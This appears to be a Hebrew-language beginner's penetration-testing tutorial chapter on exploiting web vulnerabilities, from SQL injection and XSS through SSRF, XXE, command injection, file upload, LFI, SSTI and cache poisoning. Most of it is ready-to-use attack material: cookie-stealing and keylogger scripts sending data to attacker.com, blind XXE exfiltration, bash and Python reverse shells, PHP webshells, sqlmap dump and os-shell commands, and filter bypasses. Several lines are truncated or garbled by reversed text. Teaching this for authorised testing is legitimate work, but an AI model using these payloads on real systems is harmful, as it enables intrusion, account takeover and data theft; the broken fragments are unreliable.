

בדיקות Web: ניצול פגיעויות

מדריך מלא למתחילים — בעברית

פרק 6b — בדיקות Web: ניצול פגיעויות

מבוא

בפרק הקודם (6א) הכרנו את הכלים ואת OWASP Top 10 בתיאוריה. עכשיו נצלול לניצול בפועל של הפגיעויות הנפוצות ביותר. כל פגיעות כאן עם הסבר, דוגמה, ניצול ידני, ואיך לגלות אותה.

חלק 1: SQL Injection — מתקפת DB

מה זה SQL Injection?

SQL Injection (SQLi) היא הפגיעות שבה קלט מהמשתמש "בורח" אל תוך SQL query של המסד נתונים ומשנה אותו.

דוגמה של קוד PHP פגיע:

```
<?php
$username = $_GET['username'];
$query = "SELECT * FROM users WHERE username = '$username'";
$result = mysqli_query($conn, $query);
?>
```

שאלתה רגילה:

```
-- קלט: john
SELECT * FROM users WHERE username = 'john'
```

שאלתה עם injection:

```
-- קלט: ' OR '1'='1 '
SELECT * FROM users WHERE username = '' OR '1'='1'
-- 1=1 תמיד אמת → מחזיר כל המשתמשים!
```

סוגי SQL Injection

Classic SQLi — התגובה מוצגת ישירות:

```
' OR '1'='1          -- login bypass
' OR 1=1--           -- login bypass (double dash = comment)
' OR 1=1#            -- MySQL comment
admin'--             -- bypass password check
' UNION SELECT 1,2,3-- -- union based
```

Blind SQLi — אין שגיאה גלויה, רק הבדל בהתנהגות:

```
-- Boolean-based:
1 AND 1=1  -- true  → response A
1 AND 1=2  -- false → response B (שונה)

-- Time-based:
1; SLEEP(5)--      -- מחכה 5 שניות MySQL
1; WAITFOR DELAY '0:0:5'-- -- MSSQL
```

Error-based SQLi — שגיאות DB חושפות מידע:

```
' AND extractvalue(1, concat(0x7e, version()))--
-- Error: XPATH syntax error: '~5.7.32-log'
!MySQL 5.7.32 : גילינו: --
```

גילוי SQL Injection

בדיקה ידנית:

```
# הוסיפו ' לפרמטרים
http://example.com/product?id=1'

# אם מקבלים SQL error → פגיע!
# "You have an error in your SQL syntax..."
# "Unclosed quotation mark..."
# "ORA-00933: SQL command not properly ended"

# בדיקת TRUE/FALSE
http://example.com/product?id=1 AND 1=1    # אמור לעבוד כמו id=1
http://example.com/product?id=1 AND 1=2    # אמור להחזיר ריק
```

ב-Burp Repeater:

```
1. שלחו בקשה ל-Repeater
2. שנו את הפרמטר: 'id=1'
3. בדקו תגובה
4. שנו: --id=1 AND 1=1
5. השווו לתגובה של --id=1 AND 1=2
```

UNION Based SQL Injection — שאיבת נתונים

```
-- שלב 1: גלה כמה עמודות
1 ORDER BY 1--    -- עובד
1 ORDER BY 2--    -- עובד
1 ORDER BY 3--    -- error → 2 עמודות !

-- שלב 2: UNION בסיסי
1 UNION SELECT 1,2--
-- אם עמודה 2 מופיעה בדף → ניתן להחזיר מידע שם

-- שלב 3: גלוי גרסת DB
1 UNION SELECT 1,version()--    -- MySQL
1 UNION SELECT 1,@@version--    -- MSSQL
1 UNION SELECT 1,banner FROM v$version-- -- Oracle

-- שלב 4: שמות databases
1 UNION SELECT 1,schema_name FROM information_schema.schemata--

-- שלב 5: שמות tables
1 UNION SELECT 1,table_name FROM information_schema.tables WHERE table_schema='mydb'--

-- שלב 6: שמות columns
1 UNION SELECT 1,column_name FROM information_schema.columns WHERE table_name='users'--

-- שלב 7: נתוני הטבלה
1 UNION SELECT username,password FROM users--
```

sqlmap — כלי אוטומטי

sqlmap הוא הכלי שמבצע את כל הניצול אוטומטית.

בדיקה בסיסית

```
sqlmap -u "http://example.com/product?id=1"
```

עם cookies (session)

```
sqlmap -u "http://example.com/profile" --cookie="session=abc123"
```

POST request

```
sqlmap -u "http://example.com/login" --data="username=admin&password=test"
```

שאיבת databases

```
sqlmap -u "http://example.com/product?id=1" --dbs
```

שאיבת tables

```
sqlmap -u "http://example.com/product?id=1" -D mydb --tables
```

שאיבת כל נתוני טבלה

```
sqlmap -u "http://example.com/product?id=1" -D mydb -T users --dump
```

טכניקה ספציפית

```
sqlmap -u "http://example.com/product?id=1" --technique=T # time-based only
```

עקיפת WAF

```
sqlmap -u "http://example.com/product?id=1" --tamper=space2comment,randomcase
```

Burp request file מ-

```
sqlmap -r request.txt # שמרו בקשה מ Burp ל-txt
```

verbose

```
sqlmap -u "http://example.com/product?id=1" -v 3
```

הרצת OS commands (אם יש הרשאות)

```
sqlmap -u "http://example.com/product?id=1" --os-shell
```

```
# username: admin'--
# password: [anything]

:ל query הופך #
# SELECT * FROM users WHERE username='admin'-- ' AND password='anything'
!password את הבדיקה -- #

:וריאציות #
admin'#
admin'/*
' OR '1'='1'--
' OR 1--
admin' OR '1'='1
```

חלק 2: Cross-Site Scripting (XSS)

מה זה XSS?

XSS היא פגיעות שבה JavaScript זדוני מוחדר לדף web ורץ בדפדפן של הקורבן.

דוגמה של קוד פגיע (PHP):

```
<?php
$name = $_GET['name'];
echo "<p>Hello, $name!</p>";
?>
```

URL רגיל: <http://example.com/hello?name=John>

XSS: <http://example.com/hello?name=>

הדרך יוצג:

! Hello,

והדפדפן יריץ את הJavaScript!

XSS סוגי

:Reflected XSS

ה-payload נשלח בבקשה ומוחזר בתגובה. לא שמור. הקורבן צריך ללחוץ על link ספציפי.

```
http://example.com/search?q=<script>alert(1)</script>
```

:Stored XSS (Persistent)

ה-payload נשמר בDB. כל מי שרואה את הדף — מקבל את ה-payload.

```
:share/blog/commentב  
<script>document.location='http://attacker.com?c='+document.cookie</script>
```

:DOM-based XSS

ה-payload מניפולציה על DOM ישירות ב-JavaScript — בלי לגעת בשרת.

```
// קוד פגיע ב-JavaScript  
var name = location.hash.substring(1);  
document.getElementById('greeting').innerHTML = name;  
  
// URL:  
http://example.com/#<img src=x onerror=alert(1)>
```



```
<!-- בסיסי --!>
<script>alert(1)</script>
<script>alert(document.cookie)</script>

<!-- כש script חסום --!>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<a href="javascript:alert(1)">click</a>

<!-- עקיפת פילטרים בסיסיים --!>
<ScRiPt>alert(1)</ScRiPt>
<script>alert`1`</script>
<script>alert(String.fromCharCode(49))</script>
<<script>script>alert(1)</</script>script>

<!-- כשגרשיים מסוננות --!>
<img src=x onerror=alert(1)>
<img src=x onerror=eval(atob('YWxlc nQoMSk='))>

<!-- Polyglot XSS -->
jaVaScRipt:/*-/*`/*\`/*!/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</t
```

XSS לגניבת Cookies

```
// Payload לשליחת cookies לattacker
<script>
var img = new Image();
img.src = 'http://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
</script>

// קצר יותר:
<script>fetch('http://attacker.com/?c='+btoa(document.cookie))</script>
```

```
# האזנה על פורט 80
python3 -m http.server 80
# → GET /?cookie=session%3Dabc123 200
```

XSS Keylogger

```
<script>
document.addEventListener('keypress', function(e){
    new Image().src = 'http://attacker.com/key?k=' + e.key;
});
</script>
```

BeEF — Browser Exploitation Framework

BeEF מאפשר לשלוט בדפדפן אחרי XSS.

```
Kali-ב #
sudo beef-xss

# ממשק: http://127.0.0.1:3000/ui/panel
# User/Pass: beef/beef

# הדפדפן hook ל Payload:
<script src="http://attacker_ip:3000/hook.js"></script>

# אחרי hook:
# - ראיית היסטוריה
# - Execute arbitrary JS
# - Phishing overlays
# - Port scanning מהדפדפן
# - Webcam access
```

```
<!-- JavaScript globals שדורסים HTML elements של ניצול --!>
<form id="config"><input name="isAdmin" value="true"></form>

:מגיע קוד פגיע:
var config = config || {};
if (config.isAdmin) → admin! מגיע -->
```

חלק 3: Cross-Site Request Forgery (CSRF)

מה זה CSRF?

CSRF מאלץ משתמש מחובר לבצע פעולה ב-site אחר בלי לדעת. זה עובד כי הדפדפן שולח cookies אוטומטית לכל site שמבקש.

תרחיש:

1. John מחובר ל bank.com
2. John (שאנחנו שולטים בו) evil.com גולש ל
3. evil.com תמונה חבויה מכיל:


```

```
4. הדפדפן של John שולח בקשה ל-bank.com עם ה-cookie שלו
5. הבנק מקבל את ה-transfer!

בדיקת CSRF

- # בדיקת ידנית:
- # 1. לבצע פעולה (שנוי סיסמה, העברת כסף)
 - # 2. לבדוק ב-Burp אם יש CSRF token בבקשה
 - # 3. אם יש token – לנסות להוריד/לשנות אותו
 - # 4. אם עובד בלי token – פגיע!
- # בדיקה: שינוי token לשגוי
- # אם מצליח → CSRF token לא מאומת

CSRF Exploits

:GET request CSRF

```
<!-- iframe/תמונה --!>

```

:POST request CSRF

```
<html>
<body onload="document.forms[0].submit()">
  <form action="http://victim.com/change-password" method="POST">
    <input type="hidden" name="password" value="hacked">
    <input type="hidden" name="confirm" value="hacked">
  </form>
</body>
</html>
```

:JSON POST CSRF

```
<script>
fetch('http://victim.com/api/settings', {
  method: 'POST',
  credentials: 'include', // שולח cookies!
  headers: {'Content-Type': 'text/plain'},
  body: '{"role":"admin"}'
});
</script>
```

עקיפת CSRF Token

```
brute force → אם CSRF token קצר (6 ספרות) #
CSRF token לא קשור לsession → אפשר לגנוב token משלנו ולהשתמש #
CSRF validation דרך Referer → לשנות Referer header #
CSRF token גם בcookies → אפשר עם SameSite=None #
```

חלק 4: Server-Side Request Forgery (SSRF)

מה זה SSRF?

SSRF גורם לשרת לבצע HTTP request לכתובת שאנחנו בוחרים — לרוב לשירותים פנימיים שלא נגישים לנו.

תרחיש:

```
האתר מציג "preview" של URLs:
POST /fetch
{"url": "https://legitimate-site.com/image.jpg"}

← שינוי ל:
{"url": "http://localhost/admin"}
{"url": "http://internal-server:8080"}
{"url": "http://169.254.169.254/latest/meta-data/"} # AWS!
```

SSRF דוגמאות

```
localhost-ל גישה #
{"url": "http://127.0.0.1/"}
{"url": "http://localhost/"}

# שירותים פנימיים
{"url": "http://10.0.0.1:22"}
{"url": "http://10.0.0.1:3306"} # MySQL
{"url": "http://10.0.0.1:6379"} # Redis
{"url": "http://10.0.0.1:8080"} # Admin panel

# AWS metadata service
{"url": "http://169.254.169.254/latest/meta-data/"}
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
!AWS credentials ← #

# GCP metadata
{"url": "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/def
```

```
# אם מסננים "127.0.0.1":
http://localhost/
http://0.0.0.0/
http://[::1]/
http://0177.0.0.1/ # Octal
http://2130706433/ # Decimal IP
http://127.1/      # Short IP

# DNS rebinding / Open redirect
# שמצביע ל-127.0.0.1 domain:
http://nip.io/127.0.0.1.nip.io/admin

# URL schemas שונות
file:///etc/passwd # מקומיים files קריאת!
dict://localhost:11211/ # Memcached
gopher://localhost:25/smtp # SMTP
```

חלק 5: XML External Entity (XXE)

מה זה XXE?

XXE מנצל XML parsers שמאפשרים הגדרת external entities — ה-entity יכול להיות file מהשרת, URL, ועוד.

XML בסיסי:

```
<?xml version="1.0" encoding="UTF-8"?>
<user>
  <username>john</username>
</user>
```

XML עם XXE:

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
  <username>&xxe;</username>
</user>
```

ה-Parser מחליף `&xxe;` בתוכן `! /etc/passwd`

XXE דוגמאות

```
<!-- קריאת קובץ --!>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<data>&xxe;</data>

<!-- SSRF דרך XXE -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://internal-server/">]>
<data>&xxe;</data>

<!-- Windows -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]>
<data>&xxe;</data>

<!-- PHP wrapper לקריאת קוד PHP -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/">]>
<data>&xxe;</data>
```

Blind XXE (כשאינן output):

```
<!DOCTYPE foo [
  <!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
  %remote;
]>
<data>&exfil;</data>

<!-- evil.dtd ב-attacker.com: -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY exfil SYSTEM 'http://attacker.com/?x=%file;'>">
%eval;
```

איפה למצוא XXE

```
XML endpoint שמקבל #
# Content-Type: application/xml
# Content-Type: text/xml
# Content-Type: application/soap+xml

:Content-Type שנו – Burp #
# application/json → application/xml
# ושנו את הbody בהתאם
```

חלק 6: Command Injection

מה זה Command Injection?

כשאפליקציה מעבירה input של המשתמש לפקודת OS, ואפשר "לברוח" ולהריץ פקודות נוספות.

קוד PHP פגיע:

```
<?php
$ip = $_GET['ip'];
system("ping -c 1 " . $ip);
?>
```

שימוש רגיל: `?ip=8.8.8.8`

Injection: `?ip=8.8.8.8; id`

הפקודה שרצה: `ping -c 1 8.8.8.8; id`

Command Injection Payloads

```
# הפרדת פקודות
; id
| id
|| id
& id
&& id
` id `
$(id)

# Newline
%0a id

# דוגמאות מלאות #
; cat /etc/passwd
| cat /etc/passwd
; ls -la /
& whoami
; curl http://attacker.com/$(id)

# Blind Command Injection (no output)
; sleep 5           # injection → תגובה → מאשר
; ping -c 5 8.8.8.8
; curl http://attacker.com/$(whoami) # OOB
```

```
# זמן תגובה
curl "http://example.com/ping?ip=127.0.0.1; sleep 10"
# אם התגובה לוקחת 10 שניות → פגיע!

# DNS lookup (OOB)
; nslookup $(whoami).attacker.com
; curl http://$(id).attacker.com/

# עם Burp Collaborator (Pro)
# מייצר domain ייחודי
# מקבל ping כשהservera queries אותו
```

הרצת Reverse Shell דרך Command Injection

```
# Command Injection → Reverse Shell
; bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'
; python3 -c 'import socket,subprocess,os; s=socket.socket(); s.connect(("attacker_ip",4444)); subprocess.Popen("bash -i >& /dev/tcp/attacker_ip/4444 0>&1").communicate(s.sendall("bash -i >& /dev/tcp/attacker_ip/4444 0>&1"))'

# URL encode (ב-URL לשליחה)
%3Bbash+-c+'bash+-i>%26+/dev/tcp/attacker_ip/4444+0>%261'
```

חלק 7: File Upload Vulnerabilities

מה זה?

אם אפשר להעלות קבצים לשרת, ניתן לנסות להעלות קוד (webshell) שיירץ.

תרחיש:

1. אתר מאפשר העלאת תמונות פרופיל
2. אנחנו מעלים shell.php
3. שרת שומר את הקובץ ב-/uploads/
4. גישה ל: http://example.com/uploads/shell.php
5. רץ PHP → שיש לנו RCE!

```
<?php system($_GET['cmd']); ?>
<?php echo shell_exec($_GET['cmd']); ?>
<?php passthru($_GET['cmd']); ?>
<?php @eval($_POST['code']); ?> // eval webshell

// China Chopper style:
<?php @eval(base64_decode($_POST['code']));?>
```

שימוש:

```
http://example.com/uploads/shell.php?cmd=id
http://example.com/uploads/shell.php?cmd=cat+/etc/passwd
http://example.com/uploads/shell.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/attacker_ip/4444+
```

```
# Extension Bypass
shell.php → shell.php5
shell.php → shell.php7
shell.php → shell.phtml
shell.php → shell.pht
shell.php → shell.PHP (uppercase)
shell.php → shell.PhP (mixed case)

# Double extension
shell.php.jpg
shell.jpg.php

# Null byte (|ש')
shell.php%00.jpg

# MIME type bypass
(Burp) Content-Type: image/jpeg שנו #

# Magic bytes
PHP הוסיפו PNG header לתחילת ה-
GIF89a; <?php system($_GET['cmd']); ?>
```

העלאת JSP/ASP:

```
<%@ page import="java.util.*,java.io.*" %>
<% Runtime rt = Runtime.getRuntime(); String[] commands = {"/bin/sh", "-c", request.getPa
```

```
1. העלו תמונה רגילה
2. Intercept ב-Burp
3. שנו filename: shell.php
4. שנו Content-Type: image/jpeg (לשמור על MIME type)
5. החליפו תוכן הקובץ ב-PHP code
6. Forward
```

חלק 8: Local File Inclusion (LFI) ו-Remote File Inclusion (RFI)

מה זה LFI?

כשאפליקציה כוללת קבצים לפי פרמטר — ואפשר לשנות את הנתיב לקבצים רגישים.

קוד פגיע:

```
<?php
$page = $_GET['page'];
include($page . '.php');
?>
```

שימוש רגיל: `?page=about` → `include('about.php')`

LFI: `?page=../../../../etc/passwd` → `include('../../../../etc/passwd.php')`

```

etc/passwd/ קריאת #
?page=../../../../etc/passwd
?page=/etc/passwd

# Path traversal variations
?page=.....//.....//.....//etc/passwd
?page=..%2F..%2F..%2Fetc/passwd # URL encoded /
?page=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd

# Windows
?page=../../../../windows/system32/drivers/etc/hosts
?page=c:\windows\win.ini
?page=c:/windows/system32/drivers/etc/hosts

# PHP wrappers
?page=php://filter/convert.base64-encode/resource=config
config.php encoded base64 → מחזיר #

# Log poisoning ל-RCE
<? ;php system($_GET['cmd'])?> : User-Agent שנו # 1
access.log → request נכנס ל-access.log PHP code כל # 2
# 3. LFI ל-log: ?page=../../../../var/log/apache2/access.log&cmd=id

```

קבצים מעניינים לקרוא:

```

/etc/passwd          # users
/etc/shadow          # hashed passwords (root only)
/etc/hosts           # local DNS
/proc/version        # kernel version
/proc/cmdline        # boot parameters
/var/log/apache2/access.log # Apache logs
/var/www/html/config.php # config
.ssh/id_rsa          # SSH private key

```

```
# קריאת source code (בלי execute)
?page=php://filter/convert.base64-encode/resource=index
index.php → מחזיר base64 של index.php
echo "base64..." | base64 -d > index.php

# input wrapper (RCE!)
?page=php://input
POST body: <?php system('id'); ?>

# data wrapper
?page=data://text/plain;base64,PD9waHAga3lzdGVtKCdpZCcp0yA/Pg==
# PD9waHAga3lzdGVtKCdpZCcp0yA/Pg== = <?php system('id'); ?>

# expect wrapper
?page=expect://id
```

RFI — Remote File Inclusion

```
# קבצים מ-URL חיצוני
?page=http://attacker.com/shell.txt

# attacker.com/shell.txt מכיל:
# <?php system($_GET['cmd']); ?>
```

חלק 9: IDOR — Insecure Direct Object Reference

מה זה IDOR?

IDOR הוא כשנגישים לobjects ישירות לפי ID — ואפשר לשנות את ה-ID לגשת לנתונים של אחרים.

דוגמאות:

```
GET /api/users/123/profile → פרופיל שלי
GET /api/users/124/profile → IDOR! ← פרופיל של משהו אחר

GET /api/orders/5000 → ההזמנה שלי
GET /api/orders/4999 → IDOR! ← הזמנה של משהו אחר

/download?file=invoice_john.pdf
/download?file=invoice_admin.pdf ← IDOR!
```

IDOR Testing

```
:Burp Intruder ב #
# 1. Send to Intruder
# 2. Mark $123$ ב -URL
# 3. Payload: Numbers 1 → 1000
# 4. בדיקת גדלי תגובות

# Authorize Extension:
low-privilege session טוען #
# בודק אוטומטית אם admin endpoints נגישים

:Burp Repeater ב - ידנית:
# שנו user_id, order_id, file_id
# בדיקה עם חשבון שני
```

UUIDs ב IDOR

```
# UUID: 550e8400-e29b-41d4-a716-446655440000
# לא sequential → קשה ל-guess

# אבל:
# האם UUID נחשף ב -URL? ב -response? ב -logs?
# האם (timestamp-based UUID v1) predictable?
```


חלק 10: Business Logic Vulnerabilities

מה זה?

פגיעויות לוגיקה עסקית — ניצול של ה-flown הלגיטימי של האפליקציה בצורה לא מיועדת.

דוגמאות נפוצות

Race Condition — קוד הנחה:

```
1. יש קוד הנחה שאפשר להשתמש בו פעם אחת
2. שולחים 10 בקשות בו-זמנית (turbo intruder)
3. השרת בדק כולן "לפני" שסימן כ"נוצל"
4. השתמשנו בקוד 10 פעמים!
```

Negative Prices:

```
POST /add-to-cart
{"product": "item_a", "quantity": -5}
!לחשבון credit → הפך שלילי price total →
```

Privilege Escalation דרך mass assignment:

```
POST /api/register
{"username": "test", "password": "test", "is_admin": true}
→ האם is_admin מתקבל?
```

Password Reset Poisoning:

```
POST /forgot-password
Host: attacker.com

→ הלינק שנשלח למייל: http://attacker.com/reset?token=...
```

חלק 11: Template Injection (SSTI)

מה זה SSTI?

כשאפליקציה מרנדרת template עם input של משתמש — ואפשר לשחרר template expressions.

Jinja2 (Python/Flask) דוגמה:

```
URL: /hello?name=John
Template: Hello {{ name }}!
Output: Hello John!

← SSTI:
URL: /hello?name={{7*7}}
Output: Hello 49! ← חישב הtemplate!
```

SSTI Detection

```
# Polyglot:
${{<%["'%"]%}}%\
#{7*7}

# לפי תשובה:
{{7*7}} → 49          # Jinja2, Twig
${7*7} → 49           # Freemarker
<%= 7*7 %> → 49        # ERB (Ruby)
#{7*7} → 49           # Pug/Jade
```

SSTI Exploitation

Jinja2 RCE:

```

:Python-ב #
{{config.items()}} # הצגת config
{{'__.__class__.__mro__[1].__subclasses__()}} # class hierarchy

# RCE:
{{'__.__class__.__mro__[1].__subclasses__()[439]('id', shell=True, stdout=-1).communicate(

:פשוט יותר #
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

```

:Twig (PHP)

```

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

```

חלק 12: Open Redirect

מה זה?

כשאפליקציה מקבלת URL בפרמטר ועושה redirect אליו — ואפשר להפנות ל URL חיצוני.

```

/redirect?url=http://legitimate.com
← שינוי ל:
/redirect?url=http://attacker.com

# שימושי ל:
# - Phishing (URL נראה legitimate)
# - OAuth bypass
# - SSRF (לפעמים)

```

```
# אם מסננים "http://"
//attacker.com
/\attacker.com
http:attacker.com
http://attacker.com@example.com
http://attacker.com%23example.com
```

חלק 13: Path Traversal

מה זה?

ניגוש לקבצים מחוץ לתיקייה המיועדת.

```
# URL:
/download?file=report.pdf
← שינוי ל:
/download?file=../../../../etc/passwd

# API:
GET /api/files/invoice123.pdf
← שינוי ל:
GET /api/files/../../../../etc/passwd
```

עקיפות

```
# double encoding
..%252f..%252f..%252fetc/passwd # %25 = % → %2f = /

# overlong UTF-8
..%c0%af../etc/passwd

# variation
....//....//....//etc/passwd
..\..\..\etc/passwd
```

חלק 14: GraphQL Testing

GraphQL הוא query language מודרני שמחליף REST API.

```
# Introspection – גילוי כל ה-schema
{
  __schema {
    types {
      name
      fields {
        name
      }
    }
  }
}

# אם introspection מוגבל – field suggestion
{
  user {
    unknownfield # השרת מציע: Did you mean "username"?
  }
}
```

כלי ל-GraphQL:

```
# graphw00f – fingerprinting
python3 graphw00f.py -f -t http://example.com/graphql

# InQL – Burp Extension | מצוי
# clairvoyance – Field suggestion brute force
python3 clairvoyance.py -o schema.json http://example.com/graphql
```

חלק 15: Web Cache Poisoning

מה זה?

Cache servers (Varnish, CloudFront, Nginx cache) שומרים תגובות לבקשות. אם ניתן להחדיר payload שנשמר ב-cache — כל מי שמקבל את הcached response רואה את הpayload.

```
# Header Injection ל-Cache Poisoning
GET / HTTP/1.1
Host: example.com
X-Forwarded-Host: attacker.com

# אם השרת מחזיר:
<meta property="og:url" content="http://attacker.com/page">

# זה cache שומר את זה → כולם רואים!
```

1. Reconnaissance

- whatweb, wappalyzer
- robots.txt, sitemap.xml
- JavaScript analysis (linkfinder, secretfinder)

2. Directory Enumeration

- gobuster / feroxbuster / ffuf
- Wordlists from SecLists

3. Authentication Testing

- Username enumeration
- Brute force
- JWT testing
- Password reset

4. Authorization Testing

- IDOR (change IDs)
- Privilege escalation
- Horizontal access

5. Input Validation

- SQLi (manual + sqlmap)
- XSS (reflected, stored, DOM)
- Command injection
- XXE
- SSTI
- Path traversal

6. File Upload

- Extension bypass
- MIME type bypass

7. SSRF/CSRF

- Internal services
- CSRF tokens

8. Business Logic

- Race conditions
- Negative values
- Flow bypasses

הפרק הבא עוסק ב-Social Engineering — מתקפות על האנשים, לא על הטכנולוגיה.